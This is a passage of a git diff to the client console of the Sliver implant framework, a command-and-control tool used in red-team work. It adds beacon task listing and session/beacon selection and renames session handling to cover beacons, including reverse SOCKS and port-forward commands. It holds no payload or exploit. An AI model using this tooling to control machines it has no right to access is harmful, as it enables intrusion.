||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// TasksCmd - Manage beacon tasks
|
||||
func TasksCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
beacon := con.ActiveTarget.GetBeaconInteractive()
|
||||
if beacon == nil {
|
||||
return
|
||||
}
|
||||
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintBeaconTasks(beaconTasks.Tasks, con)
|
||||
}
|
||||
|
||||
// PrintBeaconTasks - Print beacon tasks
|
||||
func PrintBeaconTasks(tasks []*clientpb.BeaconTask, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"State",
|
||||
"Message Type",
|
||||
"Created",
|
||||
"Sent",
|
||||
"Completed",
|
||||
})
|
||||
for _, task := range tasks {
|
||||
sentAt := time.Unix(task.SentAt, 0).Format(time.RFC1123)
|
||||
if time.Unix(task.SentAt, 0).IsZero() {
|
||||
sentAt = ""
|
||||
}
|
||||
completedAt := time.Unix(task.CompletedAt, 0).Format(time.RFC1123)
|
||||
if time.Unix(task.CompletedAt, 0).IsZero() {
|
||||
completedAt = ""
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
strings.Split(task.ID, "-")[0],
|
||||
prettyState(task.State),
|
||||
task.Description,
|
||||
time.Unix(task.CreatedAt, 0).Format(time.RFC1123),
|
||||
sentAt,
|
||||
completedAt,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func prettyState(state string) string {
|
||||
switch strings.ToLower(state) {
|
||||
case "pending":
|
||||
return console.Bold + state + console.Normal
|
||||
case "sent":
|
||||
return console.Bold + console.Orange + state + console.Normal
|
||||
case "completed":
|
||||
return console.Bold + console.Green + state + console.Normal
|
||||
default:
|
||||
return state
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Use
|
||||
====
|
||||
|
||||
This package implements the `use` command, which is used to select active sessions/beacons.
|
||||
@@ -0,0 +1,43 @@
|
||||
package use
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// UseBeaconCmd - Change the active beacon
|
||||
func UseBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
beacon, err := beacons.SelectBeacon(con)
|
||||
if beacon != nil {
|
||||
con.ActiveTarget.Set(nil, beacon)
|
||||
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
|
||||
} else if err != nil {
|
||||
switch err {
|
||||
case beacons.ErrNoBeacons:
|
||||
con.PrintErrorf("No beacon available\n")
|
||||
case beacons.ErrNoSelection:
|
||||
con.PrintErrorf("No beacon selected\n")
|
||||
default:
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
package use
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// UseSessionCmd - Change the active session
|
||||
func UseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, err := sessions.SelectSession(false, con)
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
} else if err != nil {
|
||||
switch err {
|
||||
case sessions.ErrNoSessions:
|
||||
con.PrintErrorf("No sessions available\n")
|
||||
case sessions.ErrNoSelection:
|
||||
con.PrintErrorf("No session selected\n")
|
||||
default:
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,176 @@
|
||||
package use
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrNoSelection = errors.New("no selection")
|
||||
)
|
||||
|
||||
// UseCmd - Change the active session
|
||||
func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var session *clientpb.Session
|
||||
var beacon *clientpb.Beacon
|
||||
var err error
|
||||
idArg := ctx.Args.String("id")
|
||||
if idArg != "" {
|
||||
session, beacon, err = SessionOrBeaconByID(idArg, con)
|
||||
} else {
|
||||
session, beacon, err = SelectSessionOrBeacon(con)
|
||||
}
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
} else if beacon != nil {
|
||||
con.ActiveTarget.Set(nil, beacon)
|
||||
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
}
|
||||
|
||||
// SessionOrBeaconByID - Select a session or beacon by ID
|
||||
func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb.Session, *clientpb.Beacon, error) {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
idNumber, err := strconv.Atoi(id)
|
||||
if err == nil {
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.ID == uint32(idNumber) {
|
||||
return session, nil, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
if strings.HasPrefix(beacon.ID, id) {
|
||||
return nil, beacon, nil
|
||||
}
|
||||
}
|
||||
return nil, nil, fmt.Errorf("no session or beacon found with ID %s", id)
|
||||
}
|
||||
|
||||
// SelectSessionOrBeacon - Select a session or beacon
|
||||
func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session, *clientpb.Beacon, error) {
|
||||
// Get and sort sessions
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
var sessionKeys []int
|
||||
for _, session := range sessions.Sessions {
|
||||
sessionKeys = append(sessionKeys, int(session.ID))
|
||||
}
|
||||
sort.Ints(sessionKeys)
|
||||
|
||||
// Get and sort beacons
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
beaconsMap := map[string]*clientpb.Beacon{}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
beaconsMap[beacon.ID] = beacon
|
||||
}
|
||||
beaconKeys := []string{}
|
||||
for beaconID := range beaconsMap {
|
||||
beaconKeys = append(beaconKeys, beaconID)
|
||||
}
|
||||
sort.Strings(beaconKeys)
|
||||
|
||||
if len(beaconKeys) == 0 && len(sessionKeys) == 0 {
|
||||
return nil, nil, fmt.Errorf("No sessions or beacons 🙁")
|
||||
}
|
||||
|
||||
// Render selection table
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
for _, key := range sessionKeys {
|
||||
session := sessionsMap[uint32(key)]
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
|
||||
session.ID,
|
||||
session.Name,
|
||||
session.RemoteAddress,
|
||||
session.Hostname,
|
||||
session.Username,
|
||||
fmt.Sprintf("%s/%s", session.OS, session.Arch),
|
||||
)
|
||||
}
|
||||
for _, key := range beaconKeys {
|
||||
beacon := beaconsMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
strings.Split(beacon.ID, "-")[0],
|
||||
beacon.Name,
|
||||
beacon.RemoteAddress,
|
||||
beacon.Hostname,
|
||||
beacon.Username,
|
||||
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
|
||||
)
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a session or beacon:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
if selected == "" {
|
||||
return nil, nil, ErrNoSelection
|
||||
}
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
if index < len(sessionKeys) {
|
||||
return sessionsMap[uint32(sessionKeys[index])], nil, nil
|
||||
}
|
||||
return nil, beaconsMap[beaconKeys[index-len(sessionKeys)]], nil
|
||||
}
|
||||
}
|
||||
return nil, nil, nil
|
||||
}
|
||||
@@ -29,7 +29,7 @@ import (
|
||||
|
||||
// WGPortFwdAddCmd - Add a new WireGuard port forward
|
||||
func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -53,7 +53,7 @@ func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
pfwdAdd, err := con.Rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
|
||||
LocalPort: int32(localPort),
|
||||
RemoteAddress: remoteAddr,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
|
||||
@@ -28,7 +28,7 @@ import (
|
||||
|
||||
// WGPortFwdRmCmd - Remove a WireGuard port forward
|
||||
func WGPortFwdRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -40,7 +40,7 @@ func WGPortFwdRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
fwdID := ctx.Args.Int("id")
|
||||
stopReq, err := con.Rpc.WGStopPortForward(context.Background(), &sliverpb.WGPortForwardStopReq{
|
||||
ID: int32(fwdID),
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
|
||||
@@ -32,7 +32,7 @@ import (
|
||||
|
||||
// WGPortFwdListCmd - List WireGuard port forwards
|
||||
func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -42,7 +42,7 @@ func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
fwdList, err := con.Rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
|
||||
@@ -28,7 +28,7 @@ import (
|
||||
|
||||
// WGSocksStartCmd - Start a WireGuard reverse SOCKS proxy
|
||||
func WGSocksStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -41,7 +41,7 @@ func WGSocksStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
socks, err := con.Rpc.WGStartSocks(context.Background(), &sliverpb.WGSocksStartReq{
|
||||
Port: int32(bindPort),
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
|
||||
@@ -28,7 +28,7 @@ import (
|
||||
|
||||
// WGSocksStopCmd - Stop a WireGuard SOCKS proxy
|
||||
func WGSocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.Get()
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -41,7 +41,7 @@ func WGSocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
stopReq, err := con.Rpc.WGStopSocks(context.Background(), &sliverpb.WGSocksStopReq{
|
||||
ID: int32(socksID),
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
|
||||
@@ -32,7 +32,7 @@ import (
|
||||
|
||||
// WGSocksListCmd - List WireGuard SOCKS proxies
|
||||
func WGSocksListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -42,7 +42,7 @@ func WGSocksListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
socksList, err := con.Rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
|
||||
+184
-68
@@ -28,16 +28,19 @@ import (
|
||||
insecureRand "math/rand"
|
||||
"path"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
"github.com/golang/protobuf/proto"
|
||||
|
||||
"time"
|
||||
|
||||
@@ -74,29 +77,37 @@ const (
|
||||
)
|
||||
|
||||
// Observer - A function to call when the sessions changes
|
||||
type Observer func(*clientpb.Session)
|
||||
type Observer func(*clientpb.Session, *clientpb.Beacon)
|
||||
type BeaconTaskCallback func(*clientpb.BeaconTask)
|
||||
|
||||
type ActiveSession struct {
|
||||
Session *clientpb.Session
|
||||
type ActiveTarget struct {
|
||||
session *clientpb.Session
|
||||
beacon *clientpb.Beacon
|
||||
observers map[int]Observer
|
||||
observerID int
|
||||
}
|
||||
|
||||
type SliverConsoleClient struct {
|
||||
App *grumble.App
|
||||
Rpc rpcpb.SliverRPCClient
|
||||
ActiveSession *ActiveSession
|
||||
IsServer bool
|
||||
App *grumble.App
|
||||
Rpc rpcpb.SliverRPCClient
|
||||
ActiveTarget *ActiveTarget
|
||||
BeaconTaskCallbacks map[string]BeaconTaskCallback
|
||||
BeaconTaskCallbacksMutex *sync.Mutex
|
||||
IsServer bool
|
||||
Settings *assets.ClientSettings
|
||||
}
|
||||
|
||||
// BindCmds - Bind extra commands to the app object
|
||||
type BindCmds func(console *SliverConsoleClient)
|
||||
|
||||
func init() {
|
||||
insecureRand.Seed(time.Now().Unix())
|
||||
}
|
||||
|
||||
// Start - Console entrypoint
|
||||
func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isServer bool) error {
|
||||
|
||||
assets.Setup(false, false)
|
||||
|
||||
settings, _ := assets.LoadSettings()
|
||||
con := &SliverConsoleClient{
|
||||
App: grumble.New(&grumble.Config{
|
||||
Name: "Sliver",
|
||||
@@ -108,11 +119,14 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
HelpSubCommands: true,
|
||||
}),
|
||||
Rpc: rpc,
|
||||
ActiveSession: &ActiveSession{
|
||||
ActiveTarget: &ActiveTarget{
|
||||
observers: map[int]Observer{},
|
||||
observerID: 0,
|
||||
},
|
||||
IsServer: isServer,
|
||||
BeaconTaskCallbacks: map[string]BeaconTaskCallback{},
|
||||
BeaconTaskCallbacksMutex: &sync.Mutex{},
|
||||
IsServer: isServer,
|
||||
Settings: settings,
|
||||
}
|
||||
con.App.SetPrintASCIILogo(func(_ *grumble.App) {
|
||||
con.PrintLogo()
|
||||
@@ -121,7 +135,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
bindCmds(con)
|
||||
extraCmds(con)
|
||||
|
||||
con.ActiveSession.AddObserver(func(_ *clientpb.Session) {
|
||||
con.ActiveTarget.AddObserver(func(_ *clientpb.Session, _ *clientpb.Beacon) {
|
||||
con.App.SetPrompt(con.GetPrompt())
|
||||
})
|
||||
|
||||
@@ -178,14 +192,16 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
|
||||
case consts.SessionOpenedEvent:
|
||||
session := event.Session
|
||||
// The HTTP session handling is performed in two steps:
|
||||
// - first we add an "empty" session
|
||||
// - then we complete the session info when we receive the Register message from the Sliver
|
||||
// This check is here to avoid displaying two sessions events for the same session
|
||||
if session.OS != "" {
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.SessionMapper != nil {
|
||||
err = prelude.SessionMapper.AddSession(session)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
case consts.SessionUpdateEvent:
|
||||
@@ -197,13 +213,31 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
session := event.Session
|
||||
con.Printf(Clearln+Warn+"Lost session #%d %s - %s (%s) - %s/%s\n",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch)
|
||||
activeSession := con.ActiveSession.Get()
|
||||
activeSession := con.ActiveTarget.GetSession()
|
||||
if activeSession != nil && activeSession.ID == session.ID {
|
||||
con.ActiveSession.Set(nil)
|
||||
con.App.SetPrompt(con.GetPrompt())
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
con.Printf(Warn + "Active session disconnected\n")
|
||||
con.App.SetPrompt(con.GetPrompt())
|
||||
}
|
||||
if prelude.SessionMapper != nil {
|
||||
err = prelude.SessionMapper.RemoveSession(session)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not remove session from Operator: %s", err)
|
||||
}
|
||||
con.PrintInfof("Removed session %s from Operator\n", session.Name)
|
||||
}
|
||||
con.Println()
|
||||
|
||||
case consts.BeaconRegisteredEvent:
|
||||
beacon := &clientpb.Beacon{}
|
||||
proto.Unmarshal(event.Data, beacon)
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(beacon.ID, "-")[0]
|
||||
con.PrintInfof("Beacon #%s %s - %s (%s) - %s/%s - %v\n\n",
|
||||
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
|
||||
|
||||
case consts.BeaconTaskResultEvent:
|
||||
con.triggerBeaconTaskCallback(event.Data)
|
||||
}
|
||||
|
||||
con.triggerReactions(event)
|
||||
@@ -221,14 +255,13 @@ func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
|
||||
|
||||
// We need some special handling for SessionOpenedEvent to
|
||||
// set the new session as the active session
|
||||
currentActiveSession := con.ActiveSession.Get()
|
||||
defer con.ActiveSession.Set(currentActiveSession)
|
||||
con.ActiveSession.Set(nil)
|
||||
currentActiveSession := con.ActiveTarget.GetSession()
|
||||
if currentActiveSession != nil {
|
||||
defer con.ActiveTarget.Set(currentActiveSession, nil)
|
||||
}
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
if event.EventType == consts.SessionOpenedEvent {
|
||||
if event.Session == nil || event.Session.OS == "" {
|
||||
return // Half-open session, do not execute any command
|
||||
}
|
||||
con.ActiveSession.Set(event.Session)
|
||||
con.ActiveTarget.Set(event.Session, nil)
|
||||
}
|
||||
|
||||
for _, reaction := range reactions {
|
||||
@@ -247,13 +280,53 @@ func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
|
||||
}
|
||||
}
|
||||
|
||||
// triggerBeaconTaskCallback - Triggers the callback for a beacon task
|
||||
func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
|
||||
task := &clientpb.BeaconTask{}
|
||||
err := proto.Unmarshal(data, task)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\rCould not unmarshal beacon task: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// If the callback is not in our map then we don't do anything, the beacon task
|
||||
// was either issued by another operator in multiplayer mode or the client process
|
||||
// was restarted between the time the task was created and the server go the result
|
||||
con.BeaconTaskCallbacksMutex.Lock()
|
||||
defer con.BeaconTaskCallbacksMutex.Unlock()
|
||||
if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
|
||||
if con.Settings.BeaconAutoResults {
|
||||
// TODO: The background context could block forever and deadlock the mutex
|
||||
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{
|
||||
ID: task.ID,
|
||||
})
|
||||
con.Printf(Clearln + "\r")
|
||||
if err == nil {
|
||||
callback(task)
|
||||
} else {
|
||||
con.PrintErrorf("Could not get beacon task content: %s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
}
|
||||
delete(con.BeaconTaskCallbacks, task.ID)
|
||||
}
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) AddBeaconCallback(taskID string, callback BeaconTaskCallback) {
|
||||
con.BeaconTaskCallbacksMutex.Lock()
|
||||
defer con.BeaconTaskCallbacksMutex.Unlock()
|
||||
con.BeaconTaskCallbacks[taskID] = callback
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) GetPrompt() string {
|
||||
prompt := Underline + "sliver" + Normal
|
||||
if con.IsServer {
|
||||
prompt = Bold + "[server] " + Normal + Underline + "sliver" + Normal
|
||||
}
|
||||
if con.ActiveSession.Get() != nil {
|
||||
prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveSession.Get().Name, Normal)
|
||||
if con.ActiveTarget.GetSession() != nil {
|
||||
prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveTarget.GetSession().Name, Normal)
|
||||
} else if con.ActiveTarget.GetBeacon() != nil {
|
||||
prompt += fmt.Sprintf(Bold+Blue+" (%s)%s", con.ActiveTarget.GetBeacon().Name, Normal)
|
||||
}
|
||||
prompt += " > "
|
||||
return Clearln + prompt
|
||||
@@ -270,7 +343,6 @@ func (con *SliverConsoleClient) PrintLogo() {
|
||||
}
|
||||
serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch)
|
||||
|
||||
insecureRand.Seed(time.Now().Unix())
|
||||
logo := asciiLogos[insecureRand.Intn(len(asciiLogos))]
|
||||
con.Println(logo)
|
||||
con.Println("All hackers gain " + abilities[insecureRand.Intn(len(abilities))])
|
||||
@@ -352,8 +424,9 @@ func (con *SliverConsoleClient) GetSessionsByName(name string) []*clientpb.Sessi
|
||||
}
|
||||
|
||||
// GetActiveSessionConfig - Get the active sessions's config
|
||||
// TODO: Switch to query config based on ConfigID
|
||||
func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig {
|
||||
session := con.ActiveSession.Get()
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
return nil
|
||||
}
|
||||
@@ -370,8 +443,8 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
|
||||
Evasion: session.GetEvasion(),
|
||||
|
||||
MaxConnectionErrors: uint32(1000),
|
||||
ReconnectInterval: uint32(60),
|
||||
PollInterval: uint32(1),
|
||||
ReconnectInterval: int64(60),
|
||||
PollTimeout: int64(1),
|
||||
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
IsSharedLib: true,
|
||||
@@ -380,12 +453,9 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
|
||||
return config
|
||||
}
|
||||
|
||||
// This should be called for any dangerous (OPSEC-wise) functions
|
||||
func (con *SliverConsoleClient) IsUserAnAdult() bool {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
return confirm
|
||||
// PrintAsyncResponse - Print the generic async response information
|
||||
func (con *SliverConsoleClient) PrintAsyncResponse(resp *commonpb.Response) {
|
||||
con.PrintInfof("Tasked beacon %s (%s)\n", resp.BeaconID, resp.TaskID)
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) Printf(format string, args ...interface{}) (n int, err error) {
|
||||
@@ -413,61 +483,107 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
|
||||
}
|
||||
|
||||
//
|
||||
// -------------------------- [ Active Session ] --------------------------
|
||||
// -------------------------- [ Active Target ] --------------------------
|
||||
//
|
||||
|
||||
// GetInteractive - GetInteractive the active session
|
||||
func (s *ActiveSession) GetInteractive() *clientpb.Session {
|
||||
if s.Session == nil {
|
||||
fmt.Printf(Warn + "Please select an active session via `use`\n")
|
||||
return nil
|
||||
// GetSessionInteractive - Get the active target(s)
|
||||
func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) {
|
||||
if s.session == nil && s.beacon == nil {
|
||||
fmt.Printf(Warn + "Please select a session or beacon via `use`\n")
|
||||
return nil, nil
|
||||
}
|
||||
return s.Session
|
||||
return s.session, s.beacon
|
||||
}
|
||||
|
||||
// Get - Same as Get() but doesn't print a warning
|
||||
func (s *ActiveSession) Get() *clientpb.Session {
|
||||
if s.Session == nil {
|
||||
// GetSessionInteractive - GetSessionInteractive the active session
|
||||
func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session {
|
||||
if s.session == nil {
|
||||
fmt.Printf(Warn + "Please select a session via `use`\n")
